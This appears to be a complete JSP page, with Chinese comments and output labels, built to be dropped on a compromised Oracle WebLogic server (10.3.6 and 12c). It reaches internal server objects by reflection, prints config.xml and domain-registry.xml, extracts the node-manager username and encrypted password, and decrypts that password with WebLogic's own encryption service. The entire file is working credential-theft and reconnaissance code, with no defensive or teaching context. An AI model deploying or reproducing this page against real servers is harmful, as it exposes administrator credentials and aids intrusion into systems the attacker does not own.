兼容 10.3.6 与 12c
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="weblogic.servlet.internal.WebAppServletContext" %>
<%@ page import="weblogic.servlet.internal.ServletRequestImpl" %>
<%@ page import="java.io.File" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.FileReader" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.regex.Pattern" %>
<%@ page import="java.util.regex.Matcher" %>
<%@ page import="weblogic.security.internal.encryption.EncryptionService" %>
<%@ page import="weblogic.security.internal.encryption.ClearOrEncryptedService" %>
<%@ page import="weblogic.security.internal.SerializedSystemIni" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="java.util.Arrays" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Weblogic-Info</title>
</head>
<body>
<%!
public static WebAppServletContext GetWebAppContext(){
Thread thread = Thread.currentThread();
WebAppServletContext webAppServletContext = null;
try {
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
try { //weblogic 12.1.3
Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object http = connectionHandler.get(workentry);
Field request1 = http.getClass().getDeclaredField("request");
request1.setAccessible(true);
ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
Field context = servletRequest.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(servletRequest);
} catch (Exception e) {
//weblogic 1036
Field context = workentry.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(workentry);
}
}catch (Exception e){}
return webAppServletContext;
}
public static String GetFileContent(String path, HttpServletResponse response){
String ConfigContent = "None";
try {
File file = new File(path);
response.getWriter().println("----------------------------------------------------------------------------------------------------------------------------------" + "<br>");
response.getWriter().println("以下是"+ path +"中的内容" + "<br>");
response.getWriter().println("----------------------------------------------------------------------------------------------------------------------------------" + "<br>");
Scanner sc = new Scanner(new FileReader(file));
StringBuilder sb = new StringBuilder();
response.getWriter().println("<xmp>");
while (sc.hasNextLine()) {
String line = sc.nextLine();
response.getWriter().println(line);
sb.append(line);
}
response.getWriter().println("</xmp>");
ConfigContent = sb.toString();
response.getWriter().println("----------------------------------------------------------------------------------------------------------------------------------" + "<br>");
}catch (Exception e){}
return ConfigContent;
}
public static List<String> GetConfigInfo(String pattern, String sb){
List<String> list = new ArrayList<String>();
try {
Pattern pat = Pattern.compile(pattern);
Matcher matcher = pat.matcher(sb);
String info = "";
while (matcher.find()) {
int i = 1;
info = matcher.group(i);
list.add(info);
}
return list;
}catch (Exception e){}
return list;
}
public static String DecryptPass(String encpass){
EncryptionService es = null;
ClearOrEncryptedService ces = null;
es = SerializedSystemIni.getEncryptionService();
if (es == null) {
return "Unable Decrypt";
}
ces = new ClearOrEncryptedService(es);
if (encpass != null) {
return new String(ces.decryptBytes(encpass.getBytes(StandardCharsets.UTF_8)));
}
return "Unable Decrypt";
}
%>
<%
response.getWriter().println("当前项目名称:" + request.getContextPath() + "<br>");
response.getWriter().println("当前应用端口:" + request.getLocalPort() + "<br>");
response.getWriter().println("当前服务器地址:"+ request.getServerName() + "<br>");
try {
//获取WebAppServletContext
WebAppServletContext webAppServletContext = GetWebAppContext();
response.getWriter().println("应用名称:" + webAppServletContext.getAppName() + "<br>");
response.getWriter().println("应用目录:" + webAppServletContext.getRootTempDir().getAbsolutePath() + "<br>");
}catch(Exception e){}
try {
//读取配置文件
String ConfigContent = GetFileContent("./config/config.xml", response);
List<String> DomainVersion = GetConfigInfo("<domain-version>(.*?)</domain-version>", ConfigContent);
List<String> NodeUsername = GetConfigInfo("<node-manager-username>(.*?)</node-manager-username>", ConfigContent);
List<String> NodePassword = GetConfigInfo("<node-manager-password-encrypted>(.*?)</node-manager-password-encrypted>", ConfigContent);
List<String> ConsolePath = GetConfigInfo("<console-context-path>(.*?)</console-context-path>", ConfigContent);
response.getWriter().println("当前weblogic 版本 " + DomainVersion + "<br>");
response.getWriter().println("当前weblogic 控制台 " + ConsolePath + "<br>");
response.getWriter().println("当前weblogic 管理用户名 " + NodeUsername + "<br>");
response.getWriter().println("当前weblogic 密码字符串 " + NodePassword + "<br>");
try {
response.getWriter().println("当前weblogic 尝试解密密码hash值 " + DecryptPass(NodePassword.get(0)) + "<br>");
}catch (Exception e){}
}catch(Exception e){}
try{
String DomainInfo = GetFileContent("./../../../domain-registry.xml", response);
List<String> Domains_list = GetConfigInfo("<domain location=\"(.*?)\"/>", DomainInfo);
String[] Domains = Domains_list.toArray(new String[0]);
response.getWriter().println("当前weblogic存在的域 " + Arrays.toString(Domains) + "<br>");
}catch (Exception e){}
%>
</body>
</html>